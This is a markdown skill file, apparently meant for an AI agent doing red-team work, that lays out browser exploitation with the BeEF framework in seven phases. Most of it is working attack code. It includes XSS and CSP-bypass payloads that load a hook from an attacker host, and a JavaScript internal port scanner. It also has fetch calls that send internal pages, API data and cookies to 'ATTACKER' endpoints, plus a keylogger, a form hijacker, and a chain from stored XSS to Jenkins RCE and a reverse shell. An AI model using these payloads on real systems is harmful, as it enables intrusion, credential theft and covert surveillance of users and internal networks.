---
name: rt-browser-exploitation
description: "Browser exploitation and BeEF framework skill for authorized engagements. BeEF (Browser Exploitation Framework) hooking via XSS, browser-based network pivoting to internal resources, keylogging and credential harvesting from browser, session token theft, browser fingerprinting for target profiling, JavaScript-based port scanning through victim browser, webcam/microphone access, and chaining XSS to full internal network access. Use when XSS is found and scope permits browser-based exploitation."
---

# rt-browser-exploitation — Browser Exploitation & BeEF

## Overview

A hooked browser is a foothold inside the victim's network. The BeEF (Browser Exploitation Framework) framework turns a reflected/stored XSS into a persistent command channel — running JavaScript in the victim's browser to pivot into internal networks, steal credentials, and fingerprint the environment. A browser on an internal network can reach internal services that the attacker cannot reach directly.

---

## Phase 1 — BeEF Setup

```bash
# Install BeEF
apt install beef-xss -y
# Or from source:
git clone https://github.com/beefproject/beef && cd beef
./install

# Configure BeEF
nano config.yaml
# Change default credentials:
# user: "beef"
# passwd: "your_password"
# Set permitted_hooks: '*' for testing, or restrict to target IP

# Start BeEF
./beef
# Web UI: http://127.0.0.1:3000/ui/panel
# Hook URL: http://YOUR_IP:3000/hook.js

# Expose BeEF to internet (for external targets)
# Option A: Cloudflare Tunnel
cloudflared tunnel --url http://localhost:3000
# Option B: ngrok
ngrok http 3000
# Option C: VPS reverse proxy (see rt-redteam-infra)
```

---

## Phase 2 — Hooking Victims via XSS

```javascript
// Basic XSS payload — loads BeEF hook
<script src="http://ATTACKER_IP:3000/hook.js"></script>

// Attribute injection
"><script src="http://ATTACKER_IP:3000/hook.js"></script>

// DOM-based / filter bypass variants
<img src=x onerror="var s=document.createElement('script');s.src='http://ATTACKER_IP:3000/hook.js';document.head.appendChild(s)">

// Stored XSS (persists — re-hooks every visitor)
// Best for: comment sections, profile names, product reviews

// SVG-based (bypasses some filters)
<svg onload="fetch('http://ATTACKER_IP:3000/hook.js').then(r=>r.text()).then(eval)">

// CSP bypass via JSONP (if allowed domain has JSONP endpoint)
<script src="https://allowed-cdn.com/jsonp?callback=eval&data=fetch('http://ATTACKER/hook.js').then(r=>r.text()).then(eval)"></script>

// BeEF persistent hook — survives page navigation
// In BeEF console: Hooked Browsers → select victim → Commands → Persistence → Man-In-The-Browser
```

---

## Phase 3 — Internal Network Recon via Browser

```javascript
// Victim's browser is inside the corporate network
// Use it to scan internal hosts — bypasses all perimeter controls

// BeEF: Commands → Network Discovery → Get Internal IP
// Returns: victim's internal IP address (via WebRTC)

// Port scan internal hosts through victim's browser
// BeEF: Commands → Network Discovery → Port Scanner
// Set: network range 10.10.10.0/24, ports 22,80,443,8080,3389,5985

// Manual JavaScript port scan
(function() {
    var targets = [];
    for (var i = 1; i < 255; i++) targets.push('10.10.10.' + i);
    var ports = [22, 80, 443, 8080, 3389, 5985, 27017, 3306, 5432];
    
    targets.forEach(function(host) {
        ports.forEach(function(port) {
            var img = new Image();
            var start = Date.now();
            img.onload = img.onerror = function() {
                var t = Date.now() - start;
                if (t < 100) {  // Fast response = open port
                    fetch('http://ATTACKER/collect?open=' + host + ':' + port);
                }
            };
            img.src = 'http://' + host + ':' + port + '/favicon.ico?' + Math.random();
        });
    });
})();
```

---

## Phase 4 — Internal Service Access via Browser

```javascript
// Access internal web services through victim browser
// Admin panels, dev tools, monitoring dashboards

// BeEF: Commands → Network Discovery → Get HTTP Servers
// Then: Commands → Browser → Redirect Browser → http://internal-jenkins:8080

// Fetch internal resources and exfil
fetch('http://192.168.1.1/admin/')
    .then(r => r.text())
    .then(html => fetch('http://ATTACKER/exfil?data=' + btoa(html)));

// Access internal API
fetch('http://10.10.10.5:8080/api/users', {
    headers: {'Cookie': document.cookie}  // Victim's internal auth cookies
})
.then(r => r.json())
.then(data => fetch('http://ATTACKER/collect', {
    method: 'POST',
    body: JSON.stringify(data)
}));

// Pivot to internal services requiring victim's browser auth
// (Browser automatically sends cookies for internal domains)
fetch('http://internal-sharepoint/sites/IT/_api/search/query?querytext=password')
    .then(r => r.json())
    .then(d => exfil(d));
```

---

## Phase 5 — Credential Harvesting

```javascript
// Keylogger
document.addEventListener('keydown', function(e) {
    fetch('http://ATTACKER/keys?k=' + encodeURIComponent(e.key) + 
          '&url=' + encodeURIComponent(window.location.href));
});

// Form hijacking — capture all form submissions
document.querySelectorAll('form').forEach(function(form) {
    form.addEventListener('submit', function(e) {
        var data = new FormData(form);
        var params = [];
        data.forEach(function(val, key) { params.push(key + '=' + val); });
        fetch('http://ATTACKER/forms?data=' + encodeURIComponent(params.join('&')) +
              '&url=' + encodeURIComponent(window.location.href));
    });
});

// BeEF modules for credential theft:
// Commands → Browser → Hooked Domain → Get Cookie (all cookies)
// Commands → Browser → Hooked Domain → Get Page HTML
// Commands → User Interface → Fake Notification Bar (phish credentials)
// Commands → User Interface → Pretty Theft (overlay login form)
```

---

## Phase 6 — BeEF Advanced Modules

```bash
# From BeEF web UI → select hooked browser → Commands tab

# Fingerprinting
# Browser → Detect Browser (version, plugins, extensions)
# Browser → Get Browser Version
# Network Discovery → Get Internal IP (WebRTC leak)
# Browser → Detect Flash Version

# Social Engineering
# User Interface → Fake Login Form (overlays fake login)
# User Interface → Fake Notification Bar (Chrome/Firefox extension install prompt)
# User Interface → Alert Dialog (social engineering prompt)

# Tunneling
# Network Discovery → Ping Sweep (ICMP through browser)
# Proxy → Create Proxy (HTTP proxy through victim browser)

# Persistence
# Misc → Create Shortcut (desktop shortcut that loads hook on click)
# Persistence → Man-In-The-Browser (hooks all page navigations)
# Persistence → Create Pop-Under (hidden window keeps hook alive)

# Webcam / Microphone (requires HTTPS + user interaction on modern browsers)
# Misc → Webcam
# Requires: HTTPS + victim granted permission
```

---

## Phase 7 — XSS to Full Internal Compromise Chain

```
FULL ATTACK CHAIN:

1. Find stored XSS on internet-facing app (e.g., user profile, comment)
2. Inject BeEF hook: <script src="https://ATTACKER/hook.js"></script>
3. Wait for admin/internal user to trigger XSS
4. BeEF hooks admin browser
5. Internal network scan → find internal Jenkins at 10.10.10.15:8080
6. Redirect admin browser to Jenkins admin panel
7. Use admin's browser cookies → access Jenkins as admin
8. Create Jenkins pipeline → execute OS commands
9. Reverse shell to attacker C2
10. Now inside internal network

OR:
4. Steal admin session cookie via BeEF
5. Use cookie in Burp → access admin panel directly
6. Escalate from admin panel → RCE
```

---

## Skill Levels

**BEGINNER:** BeEF setup + basic XSS hook + steal cookies + redirect browser

**INTERMEDIATE:** Internal network scan via victim browser + internal service access + credential keylogging

**ADVANCED:** CSP bypass for hook injection + Man-in-the-Browser persistence + internal pivot via browser

**EXPERT:** Full XSS → internal network → RCE chain + custom BeEF modules + browser-based C2

---

## References

- BeEF: https://github.com/beefproject/beef
- BeEF Wiki: https://github.com/beefproject/beef/wiki
- XSS to RCE via BeEF: https://www.hackingarticles.in/comprehensive-guide-to-beef-xss-framework/
- MITRE T1185: https://attack.mitre.org/techniques/T1185/
